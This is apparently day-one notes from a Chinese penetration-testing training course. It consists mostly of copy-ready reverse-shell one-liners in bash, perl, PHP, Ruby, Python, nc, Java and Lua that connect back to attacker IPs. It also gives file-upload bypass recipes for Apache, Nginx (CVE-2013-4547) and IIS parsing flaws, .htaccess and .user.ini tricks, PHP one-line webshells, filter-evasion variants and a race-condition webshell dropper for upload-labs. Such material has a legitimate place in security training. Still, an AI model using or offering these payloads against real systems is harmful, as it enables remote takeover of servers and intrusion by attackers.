【网络安全4x01】洞明科技网络安全培训 --- day1

第一天讲文件上传里的一些绕过方法和反弹shell。

Linux下NC反弹shell命令

本机开启监听:

1
2
3
nc -lvnp 4444

nc -vvlp 4444

目标机器开启反弹

bash版本:

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

1
2
3
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

1
2
3
4
5
6
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x 4444 1>/tmp/backpipe

/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

文件上传

解析漏洞

apache

  1. Apache解析漏洞成因

    成因:
    由于Apache 识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽略,往左进行识别,如果左边是在解析范围内的就会正常解析,而一般程序进行判断文件是否允许上传是根据最后的后缀名进行判断的。

  2. Apache解析漏洞利用条件

    Apache解析漏洞只存在于老版本中:
    经测试:Apache 2.0 Apache 2.2 是存在解析漏洞的。

  3. 示例

    在一个后端黑名单判断的文件上传的例子中:
    如果Apache版本比较老,那么就可以使用如下的方式来绕过黑名单的检测。

  4. .htaccess

    (1).htaccess(超文本访问)是许多Web服务器根据目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置。
    (2).htaccess是一个完整的文件名,不仅仅是文件的扩展名。

    .htaccess的代码如下:

1
2
3
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

nginx

  1. 配置错误导致的解析漏洞

    对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不当造成的。

  2. 00截断

    Nginx解析漏洞
    Nginx版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
    需要很老的版本才可以,00截断也和 php版本有关系。

  3. CVE-2013-4547

    Nginx 版本: 0.8.41~1.4.3, 1.5 <= 1.5.7
    使用方法:
    (1)上传文件名如: 1.jpg空格
    (2)访问例如:1.jpg…php
    (3)访问的时候抓包,修改后缀为1.jpg[0x20][0x00][0x2e]php(使用burp修改,调整 hex 即可)
    (4)修改后进行访问就会发现 jpg 图片会被当做 php解析

  4. 使用.user.ini绕过黑名单

    使用条件:
    (1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
    (2)上传目录下要有可执行的php文件
    例如:PHP study中使用 nginx 中间件的时候就可以进行实验。

    使用方式:
    (1)上传一张图片
    (2)上传.user.ini文件。内容为:auto_prepend_file=2.png(这一句即可)
    (3)访问:http://IP/upload/2.png/xx.php(目录中存在的 一个php文件)

IIS

  1. IIS 5.x-6.x

    (1)目录解析
    www.xxx.com/xx.asp/xx.jpg
    (2)文件解析
    www.xxx.com/xx.asp;.jpg

  2. IIS 7.0-7.5

    Upload/1.jpg/*.php

    我们把下面的代码,插入到一张图片中。

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>’)?>

    那么,访问x.x.x/upload/1.jpg/.php,就会在当前目录生成一个木马

php内容过滤

  • 绕过<? ?>:使用<script language=php> </script>

  • 绕过evalassert过滤:使用system();

  • 绕过GETpost过滤:使用REQUEST

示例:

1
2
3
<?php @eval($_POST[cmd]);?>

<script language=php>system($_REQUEST[cmd]);</script>

然后访问url/xxx.php?cmd=或者post一个cmd=的包均可,也可以写一个一句话木马到别的文件:

1
url/xxx.php?cmd=echo '<?php @eval($_POST[sb]);?>' >> test.php

也可以直接反弹shell:

1
<script language=php>system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.234 4445 >/tmp/f');</script>
  • 如果同级路径下有后缀不为php的一句话木马,也可以一句话包含执行:
1
<script language=php>include('ma.txt');</script> 

条件竞争

upload-labs Less17

上传123.php,内容为生成下面的反弹shell,burp里intruder开500线程重复攻击,浏览器不断刷新访问还未被删除的123.php,直至反弹shell创建成功:

1
<?php fputs(fopen('gt.php', 'w'),'<?php @eval($_POST[cmd]);?>');?>